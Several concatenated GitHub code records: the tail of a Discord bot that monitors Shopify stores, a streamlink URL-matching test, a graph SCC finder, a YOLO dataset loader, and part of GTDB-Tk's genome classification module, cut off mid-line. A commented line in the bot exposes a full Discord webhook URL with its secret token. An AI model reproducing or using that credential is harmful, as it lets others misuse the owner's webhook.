\".json\", stores)\n #The function ends\n print(\"Time: \", perf_counter() - start)\n tries += 1\n if tries == 600:\n #print(banned)\n banned.pop(0)\n #print(banned)\n tries = 0\n\n sleep(10)\n \n #print(\"End of iteration\")\n #print(start - perf_counter())\n\n\n\n \n\n@bot.command()\nasync def add(ctx, store, channelID=\"\"):\n # Check if the syntax used is correct\n global process_list\n if channelID != \"\":\n temp = store\n #Step needed for future analizing\n if \"products.json\" not in store:\n store = store + \"/products.json\"\n else:\n temp = store[0:store.find(\"products.json\")]\n #Try to get the current product list\n try:\n products_data = json.loads(requests.get(store).text)[\"products\"]\n if len(products_data) == 0:\n await ctx.send(\"This store is not a real store or the URL is invalid, not adding it...\")\n return 0\n except Exception:\n await ctx.send(\"This store is not a real store or the URL is invalid, not adding it...\")\n return 0 \n #Embed construction for a correct adding\n embedVar = Embed(title=\"Store added successfully\", color=0x03ff28)\n embedVar.add_field(name=\"Store\", value=temp)\n try:\n\t embedVar.set_thumbnail(url=getFavicon(temp)[0].url)\n except Exception:\n \tpass\n embedVar.add_field(name=\"Current products\", value=len(products_data))\n\n #Check for duplicates\n stores = open_file(\"stores.json\")\n #stores = stores[\"start\"]\n\n for storeName in stores[\"start\"]:\n if store in storeName:\n stores[\"start\"].remove(storeName)\n process = psutil.Process(process_list[store].pid)\n process.kill()\n process_list[store] = Process(name=store ,target=monitor, args=(store + \"|\" + channelID,))\n process_list[store].start()\n print(process_list)\n break\n if store not in process_list:\n process_list[store] = Process(name=store ,target=monitor, args=(store + \"|\" + channelID,))\n process_list[store].start()\n stores[\"start\"].append(store + \"|\" + channelID)\n\n save_file(\"stores.json\", stores)\n await ctx.send(embed=embedVar)\n return 0\n else:\n await ctx.send(\"Usage: !add \")\n\n\n\n\n@bot.event\nasync def on_message(message):\n\tif message.channel.id in (842269998902149150, 823628505245024258, 637141086334222369):\n\t\tawait bot.process_commands(message)\n\n\n\n@bot.event\nasync def on_ready():\n global process_list\n #monitor.start()\n with open(\"stores.json\", \"r\") as f:\n x = json.load(f)\n #x = open_file(\"stores.json\")\n #print(type(x))\n #for store in x[\"start\"]:\n #print(ThreadPoolExecutor().submit(monitor, store=\"https://owlandgoosegifts.com//products.json|https://discord.com/api/webhooks/841184985679527946/YRDcuaRhoFA2T6gTSLdrfiy40dne6AWWBUzZzHJ2b2fA8Yj-v3H2ECrT1Lxm97NyZNHq\"))\n #with ThreadPoolExecutor(max_workers=20) as executor:\n # l = [executor.submit(monitor, store=storename) for storename in x[\"start\"]]\n \n\n #l = [threading.Thread(target=monitor, args=(storename,)).start() for storename in x[\"start\"]]\n #for storename in x[\"start\"]:\n # process_list[\"storename\"] = Process(name=storename[0:storename.find(\"|\")] ,target=monitor, args=(storename,))\n #bot.loop.create_task(hello())\n process_list = {storename[0:storename.find(\"|\")] : Process(name=storename[0:storename.find(\"|\")] ,target=monitor, args=(storename,)) for storename in x[\"start\"]}\n print(process_list)\n for proc in process_list:\n process_list[proc].start()\n \n print(process_list)\n print(\"Ready\")\n\n\n\nbot.run(TOKEN)\n","repo_name":"KatIsCoding/ShopifyMonitor","sub_path":"mainmultiprocess.py","file_name":"mainmultiprocess.py","file_ext":"py","file_size_in_byte":13160,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"36620692986","text":"import unittest\n\nfrom streamlink.plugins.cybergame import Cybergame\n\n\nclass TestPluginCybergame(unittest.TestCase):\n def test_can_handle_url(self):\n should_match = [\n 'https://cybergame.tv/example/',\n 'https://cybergame.tv/videos/123123123/123123123-/'\n ]\n for url in should_match:\n self.assertTrue(Cybergame.can_handle_url(url))\n\n def test_can_handle_url_negative(self):\n should_not_match = [\n 'https://example.com/index.html',\n ]\n for url in should_not_match:\n self.assertFalse(Cybergame.can_handle_url(url))\n","repo_name":"cirrusUK/streamlink","sub_path":"tests/plugins/test_cybergame.py","file_name":"test_cybergame.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"17871064738","text":"class SccFinder(object):\n def __init__(self, input_file):\n self.scc_list = []\n with open(input_file) as file:\n self.finish_order = []\n self._graph = {}\n for line in file:\n (from_v, to_v) = tuple(number for number in line.split())\n self._add_edge_to_graph(int(from_v), int(to_v))\n\n def _add_edge_to_graph(self, from_v, to_v):\n if from_v in self._graph:\n self._graph[from_v].append(to_v)\n else:\n self._graph[from_v] = [to_v]\n if to_v in self._graph:\n self._graph[to_v].append(-from_v)\n else:\n self._graph[to_v] = [-from_v]\n\n def compute_finish_times(self):\n visited_nodes, finished_nodes = set(), set()\n for vertex in self._graph.keys():\n if vertex in visited_nodes:\n continue\n nodes_stack = [vertex]\n while nodes_stack:\n node = nodes_stack.pop()\n if node not in visited_nodes:\n visited_nodes.add(node)\n nodes_stack.append(node)\n neighbors = (-edge for edge in self._graph[node] if edge < 0)\n for neighbor in neighbors:\n if neighbor not in visited_nodes:\n nodes_stack.append(neighbor)\n else:\n if node not in finished_nodes:\n self.finish_order.append(node)\n finished_nodes.add(node)\n\n def compute_sccs(self):\n visited_nodes = set()\n assert (len(self.finish_order) == len(self._graph))\n for i in reversed(self.finish_order):\n if i in visited_nodes:\n continue\n nodes_stack = [i]\n size = 0\n while nodes_stack:\n node = nodes_stack.pop()\n if node not in visited_nodes:\n size += 1\n visited_nodes.add(node)\n nodes_stack.append(node)\n neighbors = (edge for edge in self._graph[node] if edge > 0)\n for neighbor in neighbors:\n if neighbor not in visited_nodes:\n nodes_stack.append(neighbor)\n self.scc_list.append(size)\n self.scc_list.sort(reverse=True)\n print(self.scc_list[:5])\n\nif __name__ == \"__main__\":\n scc_finder = SccFinder(\"assignment_4.txt\")\n scc_finder.compute_finish_times()\n scc_finder.compute_sccs()\n expected_sccs = [434821, 968, 459, 313, 211]\n print(scc_finder.scc_list[:5])\n\n","repo_name":"mikemyl/algorithms-stanford","sub_path":"part_1/assignment4_strongly_connected_components/app/scc_finder.py","file_name":"scc_finder.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"53"}
+{"seq_id":"27962107429","text":"import sys \nimport numpy as np\nimport os\nimport pandas as pd\nimport torch\nfrom PIL import ImageFile\nfrom torch.utils.data import Dataset, DataLoader\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom utilities.utils import iou_width_height \nimport albumentations as A\nimport cv2\nfrom albumentations.pytorch import ToTensorV2\n\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\n\nclass CustomYoloDataset(Dataset):\n \"\"\"\n A custom Dataset class for the Yolo model\n \"\"\"\n def __init__(self, csv_file, img_dir, label_dir, anchors, image_size=416, S=[13, 26],C=2, transform=None ):\n self.annotations = pd.read_csv(csv_file)\n self.img_dir = img_dir\n self.label_dir = label_dir\n self.image_size = image_size\n self.transform = transform\n self.S = S\n self.anchors = torch.tensor( anchors[0] + anchors[1] ) \n self.num_anchors = self.anchors.shape[0]\n self.num_anchors_per_scale = self.num_anchors // 2\n self.C = C\n self.ignore_iou_thresh = 0.5\n\n def __len__(self):\n return len(self.annotations)\n\n def __getitem__(self, index):\n label_path = os.path.join(self.label_dir, self.annotations.iloc[index, 1])\n # Conversion from [class label, x, y, width, height] to [x, y, width, height, class label]\n bboxes = np.roll(np.loadtxt(fname=label_path, delimiter=\" \", ndmin=2), 4, axis=1).tolist() \n img_path = os.path.join(self.img_dir, self.annotations.iloc[index, 0])\n image = cv2.imread(img_path) \n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n\n # Data Augmentation \n if self.transform:\n augmentations = self.transform(image=image, bboxes=bboxes)\n image = augmentations[\"image\"]\n bboxes = augmentations[\"bboxes\"]\n\n # 2 targets (from groundtruth) to be compared with the 2 outputs of the model\n targets = [torch.zeros((self.num_anchors // 2, S, S, 6)) for S in self.S]\n\n for box in bboxes:\n iou_anchors = iou_width_height(torch.tensor(box[2:4]), self.anchors)\n anchor_indices = iou_anchors.argsort(descending=True, dim=0)\n x, y, width, height, class_label = box\n has_anchor = [False] * 3 \n for anchor_idx in anchor_indices:\n scale_idx = anchor_idx // self.num_anchors_per_scale\n anchor_on_scale = anchor_idx % self.num_anchors_per_scale\n S = self.S[scale_idx]\n i, j = int(S * y), int(S * x) \n anchor_taken = targets[scale_idx][anchor_on_scale, i, j, 0]\n if not anchor_taken and not has_anchor[scale_idx]:\n targets[scale_idx][anchor_on_scale, i, j, 0] = 1\n x_cell, y_cell = S * x - j, S * y - i \n width_cell, height_cell = (\n width * S,\n height * S,\n ) \n box_coordinates = torch.tensor(\n [x_cell, y_cell, width_cell, height_cell]\n )\n targets[scale_idx][anchor_on_scale,\n i, j, 1:5] = box_coordinates\n targets[scale_idx][anchor_on_scale,\n i, j, 5] = int(class_label)\n has_anchor[scale_idx] = True\n\n elif not anchor_taken and iou_anchors[anchor_idx] > self.ignore_iou_thresh:\n targets[scale_idx][anchor_on_scale,i, j, 0] = -1 \n\n return image, tuple(targets)\n\ndef get_data(train_csv_path, test_csv_path):\n \"\"\"\n Gets train and test loader, performing Data Augmentation.\n Parameters: \n train_csv_path & test_csv_path: paths to the csv containing the \n files' names of images and labels.\n Returns: \n train_loader & test_loader\n \"\"\"\n\n IMAGE_SIZE = 416\n BATCH_SIZE = 32\n NUM_WORKERS = 4\n DATASET = 'dataset'\n IMG_DIR = DATASET + \"/images/\"\n LABEL_DIR = DATASET + \"/labels/\"\n\n ANCHORS = [[(0.289062, 0.339265), (0.02 , 0.035), (0.007 , 0.012 )], [(0.035 , 0.064 ), (0.012 ,0.021), (0.08 , 0.129 )]]\n\n \n transforms = A.Compose(\n [\n A.LongestMaxSize(max_size=IMAGE_SIZE),\n A.PadIfNeeded(\n min_height=IMAGE_SIZE, min_width=IMAGE_SIZE, border_mode=0\n ),\n A.OneOf(\n [\n A.ShiftScaleRotate( \n rotate_limit=20, p=0.5, border_mode=0\n ),\n A.Affine(shear=15, p=0.5),\n ],\n p=1.0,\n ),\n A.HorizontalFlip(p=0.5),\n A.Normalize(mean=[0., 0., 0.], std=[1., 1., 1.], max_pixel_value=255,),\n A.Downscale (scale_min=0.25, scale_max=0.25, interpolation=0, always_apply=True, p=1),\n A.MotionBlur(p=1),\n\n ToTensorV2(),\n ],\n bbox_params=A.BboxParams(format=\"yolo\", min_visibility=0.4, label_fields=[]),\n \n )\n\n train_dataset = CustomYoloDataset(\n train_csv_path,\n transform=transforms,\n S=[IMAGE_SIZE // 32, IMAGE_SIZE // 16],\n img_dir=IMG_DIR,\n label_dir=LABEL_DIR,\n anchors=ANCHORS,\n )\n test_dataset = CustomYoloDataset(\n test_csv_path,\n transform=transforms,\n S=[IMAGE_SIZE // 32, IMAGE_SIZE // 16],\n img_dir=IMG_DIR,\n label_dir=LABEL_DIR,\n anchors=ANCHORS,\n )\n train_loader = DataLoader(\n dataset=train_dataset,\n batch_size=BATCH_SIZE,\n num_workers=NUM_WORKERS,\n shuffle=True,\n pin_memory=True,\n \n )\n test_loader = DataLoader(\n dataset=test_dataset,\n batch_size=BATCH_SIZE,\n num_workers=NUM_WORKERS,\n shuffle=False,\n pin_memory=True,\n \n )\n\n \n\n return train_loader, test_loader","repo_name":"benedettaliberatori/Modified-Yolov4Tiny-RaspberryPi","sub_path":"dataset/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5854,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"20482503293","text":"###############################################################################\n# #\n# This program is free software: you can redistribute it and/or modify #\n# it under the terms of the GNU General Public License as published by #\n# the Free Software Foundation, either version 3 of the License, or #\n# (at your option) any later version. #\n# #\n# This program is distributed in the hope that it will be useful, #\n# but WITHOUT ANY WARRANTY; without even the implied warranty of #\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #\n# GNU General Public License for more details. #\n# #\n# You should have received a copy of the GNU General Public License #\n# along with this program. If not, see . #\n# #\n###############################################################################\n\n\nimport logging\nimport os\nimport random\nimport shutil\nimport sys\nfrom collections import defaultdict\nfrom operator import itemgetter\n\nimport dendropy\nfrom numpy import median as np_median\n\nimport gtdbtk.config.config as Config\nfrom gtdbtk.biolib_lite.common import make_sure_path_exists\nfrom gtdbtk.biolib_lite.execute import check_dependencies\nfrom gtdbtk.biolib_lite.newick import parse_label\nfrom gtdbtk.biolib_lite.seq_io import read_seq, read_fasta\nfrom gtdbtk.biolib_lite.taxonomy import Taxonomy\nfrom gtdbtk.config.output import *\nfrom gtdbtk.exceptions import GenomeMarkerSetUnknown, GTDBTkExit\nfrom gtdbtk.external.fastani import FastANI\nfrom gtdbtk.external.pplacer import Pplacer\nfrom gtdbtk.markers import Markers\nfrom gtdbtk.relative_distance import RelativeDistance\nfrom gtdbtk.tools import add_ncbi_prefix, symlink_f, get_memory_gb\n\nsys.setrecursionlimit(15000)\n\n\nclass Classify(object):\n \"\"\"Determine taxonomic classification of genomes by ML placement.\"\"\"\n\n def __init__(self, cpus=1, pplacer_cpus=None):\n \"\"\"Initialize.\"\"\"\n\n check_dependencies(['pplacer', 'guppy', 'fastANI'])\n\n self.taxonomy_file = Config.TAXONOMY_FILE\n self.af_threshold = Config.AF_THRESHOLD\n self.gtdb_taxonomy = Taxonomy().read(self.taxonomy_file)\n\n self.order_rank = [\"d__\", \"p__\", \"c__\", \"o__\", 'f__', 'g__', 's__']\n\n self.logger = logging.getLogger('timestamp')\n self.cpus = cpus\n self.pplacer_cpus = pplacer_cpus if pplacer_cpus else cpus\n\n self.species_radius = self.parse_radius_file()\n\n def parse_radius_file(self):\n results = {}\n with open(Config.RADII_FILE) as f:\n for line in f:\n infos = line.strip().split('\\t')\n gid = infos[1]\n if infos[1].startswith('GB_') or infos[1].startswith('RS_'):\n gid = gid[3:]\n results[gid] = float(infos[2])\n return results\n\n def place_genomes(self,\n user_msa_file,\n marker_set_id,\n out_dir,\n prefix,\n scratch_dir=None):\n \"\"\"Place genomes into reference tree using pplacer.\"\"\"\n\n # Warn if the memory is insufficient\n mem_gb = get_memory_gb()\n if mem_gb is not None:\n mem_total = mem_gb['MemTotal']\n if marker_set_id == 'bac120' and mem_total < 114:\n self.logger.warning(f'pplacer requires ~113 GB of RAM to fully '\n f'load the bacterial tree into memory. '\n f'However, {mem_total}GB was detected. '\n f'This may affect pplacer performance, '\n f'or fail if there is insufficient scratch space.')\n elif marker_set_id == 'ar122' and mem_total < 7:\n self.logger.warning(f'pplacer requires ~6.2 GB of RAM to fully '\n f'load the archaeal tree into memory. '\n f'However, {mem_total}GB was detected. '\n f'This may affect pplacer performance, '\n f'or fail if there is insufficient scratch space.')\n\n # rename user MSA file for compatibility with pplacer\n if not user_msa_file.endswith('.fasta'):\n if marker_set_id == 'bac120':\n t = PATH_BAC120_USER_MSA.format(prefix=prefix)\n elif marker_set_id == 'ar122':\n t = PATH_AR122_USER_MSA.format(prefix=prefix)\n else:\n self.logger.error(\n 'There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n shutil.copyfile(user_msa_file, t)\n user_msa_file = t\n\n # run pplacer to place bins in reference genome tree\n num_genomes = sum([1 for _seq_id, _seq in read_seq(user_msa_file)])\n\n # check if a scratch file is to be created\n pplacer_mmap_file = None\n if scratch_dir:\n self.logger.info(\n 'Using a scratch file for pplacer allocations. This decreases memory usage and performance.')\n pplacer_mmap_file = ' --mmap-file {}'.format(\n os.path.join(scratch_dir, prefix + \".pplacer.scratch\"))\n\n # get path to pplacer reference package\n if marker_set_id == 'bac120':\n self.logger.info(\n f'Placing {num_genomes} bacterial genomes into reference tree with pplacer using {self.pplacer_cpus} cpus (be patient).')\n pplacer_ref_pkg = os.path.join(\n Config.PPLACER_DIR, Config.PPLACER_BAC120_REF_PKG)\n elif marker_set_id == 'ar122':\n self.logger.info(\n f'Placing {num_genomes} archaeal genomes into reference tree with pplacer using {self.pplacer_cpus} cpus (be patient).')\n pplacer_ref_pkg = os.path.join(\n Config.PPLACER_DIR, Config.PPLACER_AR122_REF_PKG)\n elif marker_set_id == 'rps23':\n self.logger.info(\n f'Placing {num_genomes} genomes into reference tree with pplacer using {self.pplacer_cpus} cpus (be patient).')\n pplacer_ref_pkg = os.path.join(\n Config.PPLACER_DIR, Config.PPLACER_RPS23_REF_PKG)\n else:\n self.logger.error('Unknown marker set: {}'.format(marker_set_id))\n raise GenomeMarkerSetUnknown(\n 'Unknown marker set: {}'.format(marker_set_id))\n\n # create pplacer output directory\n pplacer_out_dir = os.path.join(out_dir, DIR_PPLACER)\n if not os.path.exists(pplacer_out_dir):\n os.makedirs(pplacer_out_dir)\n\n # run pplacer\n if marker_set_id == 'bac120':\n pplacer_out = os.path.join(out_dir, PATH_BAC120_PPLACER_OUT)\n pplacer_json_out = os.path.join(out_dir, PATH_BAC120_PPLACER_JSON)\n elif marker_set_id == 'ar122':\n pplacer_out = os.path.join(out_dir, PATH_AR122_PPLACER_OUT)\n pplacer_json_out = os.path.join(out_dir, PATH_AR122_PPLACER_JSON)\n else:\n self.logger.error('There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n pplacer = Pplacer()\n pplacer.run(self.pplacer_cpus, 'WAG', pplacer_ref_pkg, pplacer_json_out,\n user_msa_file, pplacer_out, pplacer_mmap_file)\n self.logger.info('pplacer version: {}'.format(pplacer.version))\n\n # extract tree\n if marker_set_id == 'bac120':\n tree_file = os.path.join(\n out_dir, PATH_BAC120_TREE_FILE.format(prefix=prefix))\n elif marker_set_id == 'ar122':\n tree_file = os.path.join(\n out_dir, PATH_AR122_TREE_FILE.format(prefix=prefix))\n else:\n self.logger.error('There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n pplacer.tog(pplacer_json_out, tree_file)\n\n # Symlink to the tree summary file\n if marker_set_id == 'bac120':\n symlink_f(PATH_BAC120_TREE_FILE.format(prefix=prefix),\n os.path.join(out_dir, os.path.basename(PATH_BAC120_TREE_FILE.format(prefix=prefix))))\n elif marker_set_id == 'ar122':\n symlink_f(PATH_AR122_TREE_FILE.format(prefix=prefix),\n os.path.join(out_dir, os.path.basename(PATH_AR122_TREE_FILE.format(prefix=prefix))))\n else:\n self.logger.error('There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n return tree_file\n\n def standardise_taxonomy(self, taxstring, marker_set=None):\n \"\"\"Create a 7 rank taxonomy string from an incomplete taxonomy string\n\n Parameters\n ----------\n taxstring : str\n incomplete taxonomy string\n marker_set : str\n The marker set to use.\n\n Returns\n -------\n string\n 7 rank taxonomy string.\n \"\"\"\n # return taxstring\n taxlist = taxstring.split(\";\")\n if marker_set == 'bac120':\n taxlist.insert(0, 'd__Bacteria')\n if marker_set == 'ar122':\n taxlist.insert(0, 'd__Archaea')\n taxlist.extend(self.order_rank[len(taxlist):])\n new_taxstring = \";\".join(taxlist)\n return new_taxstring\n\n def _write_red_dict(self, out_dir, prefix, marker_set_id):\n \"\"\"Write the RED value for each rank to a file\n\n Parameters\n ----------\n out_dir : output directory\n prefix : desired prefix for output files\n marker_set_id : bacterial or archeal id (bac120 or ar122)\n\n Returns\n -------\n dictionary\n dictionary[rank_prefix] = red_value\n\n \"\"\"\n\n marker_dict = {}\n if marker_set_id == 'bac120':\n marker_dict = Config.RED_DIST_BAC_DICT\n out_path = os.path.join(\n out_dir, PATH_BAC120_RED_DICT.format(prefix=prefix))\n elif marker_set_id == 'ar122':\n marker_dict = Config.RED_DIST_ARC_DICT\n out_path = os.path.join(\n out_dir, PATH_AR122_RED_DICT.format(prefix=prefix))\n else:\n self.logger.error('There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n make_sure_path_exists(os.path.dirname(out_path))\n\n with open(out_path, 'w') as reddictfile:\n reddictfile.write('Phylum\\t{}\\n'.format(marker_dict.get('p__')))\n reddictfile.write('Class\\t{}\\n'.format(marker_dict.get('c__')))\n reddictfile.write('Order\\t{}\\n'.format(marker_dict.get('o__')))\n reddictfile.write('Family\\t{}\\n'.format(marker_dict.get('f__')))\n reddictfile.write('Genus\\t{}\\n'.format(marker_dict.get('g__')))\n\n return marker_dict\n\n def _parse_red_dict(self, red_dist_dict):\n results = {}\n for k, v in red_dist_dict.items():\n if k in ['d__', 'domain']:\n results['d__'] = v\n elif k in ['p__', 'phylum']:\n results['p__'] = v\n elif k in ['c__', 'class']:\n results['c__'] = v\n elif k in ['o__', 'order']:\n results['o__'] = v\n elif k in ['f__', 'family']:\n results['f__'] = v\n elif k in ['g__', 'genus']:\n results['g__'] = v\n elif k in ['s__', 'species']:\n results['s__'] = v\n return results\n\n def parser_marker_summary_file(self, marker_summary_file, marker_set_id):\n results = {}\n with open(marker_summary_file, 'r') as msf:\n msf.readline()\n for line in msf:\n infos = line.strip().split('\\t')\n if marker_set_id == \"bac120\":\n multi_hits_percent = (100 * float(infos[2])) / \\\n Config.BAC_MARKER_COUNT\n elif marker_set_id == \"ar122\":\n multi_hits_percent = (100 * float(infos[2])) / \\\n Config.AR_MARKER_COUNT\n # print (marker_set_id, float(infos[3]), multi_hits_percent)\n if multi_hits_percent >= Config.DEFAULT_MULTIHIT_THRESHOLD:\n results[infos[0]] = round(multi_hits_percent, 1)\n return results\n\n def parse_trans_table_file(self, trans_table_file):\n results = {}\n with open(trans_table_file, 'r') as msf:\n for line in msf:\n infos = line.strip().split('\\t')\n results[infos[0]] = infos[1]\n return results\n\n def run(self,\n genomes,\n align_dir,\n out_dir,\n prefix,\n scratch_dir=None,\n recalculate_red=None,\n debugopt=False):\n \"\"\"Classify genomes based on position in reference tree.\"\"\"\n\n _bac_gids, _ar_gids, bac_ar_diff = Markers().genome_domain(align_dir, prefix)\n\n for marker_set_id in ('ar122', 'bac120'):\n\n if marker_set_id == 'ar122':\n marker_summary_file = os.path.join(\n align_dir, PATH_AR122_MARKER_SUMMARY.format(prefix=prefix))\n user_msa_file = os.path.join(\n align_dir, PATH_AR122_USER_MSA.format(prefix=prefix))\n elif marker_set_id == 'bac120':\n marker_summary_file = os.path.join(\n align_dir, PATH_BAC120_MARKER_SUMMARY.format(prefix=prefix))\n user_msa_file = os.path.join(\n align_dir, PATH_BAC120_USER_MSA.format(prefix=prefix))\n else:\n self.logger.error(\n 'There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n if (not os.path.exists(user_msa_file)) or (os.path.getsize(user_msa_file) < 30):\n # file will not exist if there are no User genomes from a\n # given domain\n continue\n\n percent_multihit_dict = self.parser_marker_summary_file(\n marker_summary_file, marker_set_id)\n\n trans_table_file = os.path.join(\n align_dir, PATH_TLN_TABLE_SUMMARY.format(prefix=prefix))\n trans_table_dict = self.parse_trans_table_file(trans_table_file)\n\n msa_dict = read_fasta(user_msa_file)\n\n classify_tree = self.place_genomes(user_msa_file,\n marker_set_id,\n out_dir,\n prefix,\n scratch_dir)\n\n # get taxonomic classification of each user genome\n tree = dendropy.Tree.get_from_path(classify_tree,\n schema='newick',\n rooting='force-rooted',\n preserve_underscores=True)\n\n if marker_set_id == 'bac120':\n path_summary = os.path.join(\n out_dir, PATH_BAC120_SUMMARY_OUT.format(prefix=prefix))\n elif marker_set_id == 'ar122':\n path_summary = os.path.join(\n out_dir, PATH_AR122_SUMMARY_OUT.format(prefix=prefix))\n else:\n self.logger.error(\n 'There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n pplacer_taxonomy_dict = self._get_pplacer_taxonomy(\n out_dir, prefix, marker_set_id, user_msa_file, tree)\n\n summaryfout = open(path_summary, 'w')\n if debugopt:\n debugfile = open(os.path.join(\n out_dir, prefix + '.{}.debug_file.tsv'.format(marker_set_id)), 'w')\n\n marker_dict = self._write_red_dict(\n out_dir, prefix, marker_set_id)\n\n summaryfout.write(\n \"user_genome\\tclassification\\tfastani_reference\\tfastani_reference_radius\\tfastani_taxonomy\\tfastani_ani\\tfastani_af\\t\" +\n \"closest_placement_reference\\tclosest_placement_taxonomy\\tclosest_placement_ani\\tclosest_placement_af\\tpplacer_taxonomy\\t\" +\n \"classification_method\\tnote\\tother_related_references(genome_id,species_name,radius,ANI,AF)\\taa_percent\\ttranslation_table\\tred_value\\twarnings\\n\")\n if debugopt:\n debugfile.write(\n \"User genome\\tRed value\\tHigher rank\\tHigher value\\tLower rank\\tLower value\\tcase\\tclosest_rank\\ttool\\n\")\n\n # Genomes can be classified by using FastANI or RED values\n # We go through all leaves of the tree. if the leaf is a user\n # genome we take its parent node and look at all the leaves\n # for this node.\n all_fastani_dict = {}\n self.logger.info(\n 'Calculating average nucleotide identity using FastANI.')\n fastani_verification = {}\n number_comparison = 0\n for userleaf in tree.leaf_node_iter():\n # for each user genome, we select the first parent node with a label.\n # if, while going up the tree, we find a node with only one\n # reference genome, we select this reference genome as\n # leaf_reference.\n if userleaf.taxon.label[0:3] not in ['RS_', 'GB_', 'UBA']:\n\n par_node = userleaf.parent_node\n leaf_ref_genome = None\n leaf_ref_genomes = [subnd for subnd in par_node.leaf_iter(\n ) if subnd.taxon.label.replace(\"'\", '')[0:3] in ['RS_', 'GB_', 'UBA']]\n if len(leaf_ref_genomes) == 1:\n leaf_ref_genome = leaf_ref_genomes[0]\n\n _support, parent_taxon, _aux_info = parse_label(\n par_node.label)\n # while par_node is not None and parent_taxon is empty,\n # we go up the tree\n while par_node is not None and not parent_taxon:\n par_node = par_node.parent_node\n if leaf_ref_genome is None:\n leaf_ref_genomes = [subnd for subnd in par_node.leaf_iter(\n ) if subnd.taxon.label.replace(\"'\", '')[0:3] in ['RS_', 'GB_', 'UBA']]\n if len(leaf_ref_genomes) == 1:\n leaf_ref_genome = leaf_ref_genomes[0]\n _support, parent_taxon, _aux_info = parse_label(\n par_node.label)\n\n # if the parent node is at the genus level\n parent_rank = parent_taxon.split(\";\")[-1]\n if parent_rank.startswith('g__'):\n # we get all the reference genomes under this genus\n list_subnode_initials = [subnd.taxon.label.replace(\n \"'\", '')[0:3] for subnd in par_node.leaf_iter()]\n if (list_subnode_initials.count('RS_') + list_subnode_initials.count(\n 'GB_') + list_subnode_initials.count('UBA')) < 1:\n raise Exception(\n \"There is no reference genomes under '{}'\".format('parent_rank'))\n else:\n dict_dist_refgenomes = {}\n list_ref_genomes = [subnd for subnd in par_node.leaf_iter(\n ) if subnd.taxon.label.replace(\"'\", '')[0:3] in ['RS_', 'GB_', 'UBA']]\n # we pick the first 100 genomes closest (patristic distance) to the\n # user genome under the same genus\n for ref_genome in list_ref_genomes:\n taxon_labels = [\n userleaf.taxon.label, ref_genome.taxon.label]\n mrca = tree.mrca(taxon_labels=taxon_labels)\n # the following command is faster than\n # calculating the patristic distance\n dict_dist_refgenomes[ref_genome] = (userleaf.distance_from_root(\n ) - mrca.distance_from_root()) + (\n ref_genome.distance_from_root() - mrca.distance_from_root())\n sorted_l = sorted(\n iter(dict_dist_refgenomes.items()), key=itemgetter(1))\n sorted_l = sorted_l[0:100]\n number_comparison += len(sorted_l)\n fastani_verification[userleaf] = {\n \"potential_g\": sorted_l, \"pplacer_g\": leaf_ref_genome}\n else:\n if leaf_ref_genome:\n fastani_verification[userleaf] = {\"potential_g\": [\n (leaf_ref_genome, 0.0)], \"pplacer_g\": leaf_ref_genome}\n\n # we run a fastani comparison for each user genomes against the\n # selected genomes in the same genus\n if len(fastani_verification) > 0:\n fastani = FastANI(cpus=self.cpus, force_single=True)\n self.logger.info(f'fastANI version: {fastani.version}')\n\n d_ani_compare, d_paths = self._get_fastani_genome_path(\n fastani_verification, genomes)\n all_fastani_dict = fastani.run(d_ani_compare, d_paths)\n\n classified_user_genomes, unclassified_user_genomes = self._sort_fastani_results(\n fastani_verification, pplacer_taxonomy_dict, all_fastani_dict, msa_dict, percent_multihit_dict,\n trans_table_dict, bac_ar_diff, summaryfout)\n\n self.logger.info('{0} genome(s) have been classified using FastANI and pplacer.'.format(\n len(classified_user_genomes)))\n\n # If Fastani can't select a taxonomy for a genome, we use RED\n # distances\n\n if recalculate_red:\n tree_to_process = self._calculate_red_distances(\n classify_tree, out_dir)\n else:\n tree_to_process = self._assign_mrca_red(\n classify_tree, marker_set_id)\n\n user_genome_ids = set(read_fasta(user_msa_file).keys())\n # we remove ids already classified with FastANI\n user_genome_ids = user_genome_ids.difference(\n set(classified_user_genomes))\n for leaf in tree_to_process.leaf_node_iter():\n if leaf.taxon.label in user_genome_ids:\n # In some cases , pplacer can associate 2 user genomes\n # on the same parent node so we need to go up the tree\n # to find a node with a reference genome as leaf.\n cur_node = leaf.parent_node\n list_subnode_initials = [subnd.taxon.label.replace(\n \"'\", '')[0:3] for subnd in cur_node.leaf_iter()]\n while 'RS_' not in list_subnode_initials and 'GB_' not in list_subnode_initials and 'UBA' not in list_subnode_initials:\n cur_node = cur_node.parent_node\n list_subnode_initials = [subnd.taxon.label.replace(\n \"'\", '')[0:3] for subnd in cur_node.leaf_iter()]\n\n current_rel_list = cur_node.rel_dist\n\n parent_taxon_node = cur_node.parent_node\n _support, parent_taxon, _aux_info = parse_label(\n parent_taxon_node.label)\n\n while parent_taxon_node is not None and not parent_taxon:\n parent_taxon_node = parent_taxon_node.parent_node\n _support, parent_taxon, _aux_info = parse_label(\n parent_taxon_node.label)\n\n # is the node represent multiple ranks, we select the lowest one\n # i.e. if node is p__A;c__B;o__C we pick o__\n parent_rank = parent_taxon.split(\";\")[-1][0:3]\n parent_rel_dist = parent_taxon_node.rel_dist\n\n debug_info = [leaf.taxon.label, parent_rank,\n parent_rel_dist, '', '', '', '']\n\n child_taxons = []\n closest_rank = None\n detection = \"taxonomic novelty determined using RED\"\n # if the genome is not placed between the genus and\n # specie ranks\n if parent_rank != 'g__':\n # we select the child rank (if parent_rank = 'c__'\n # child 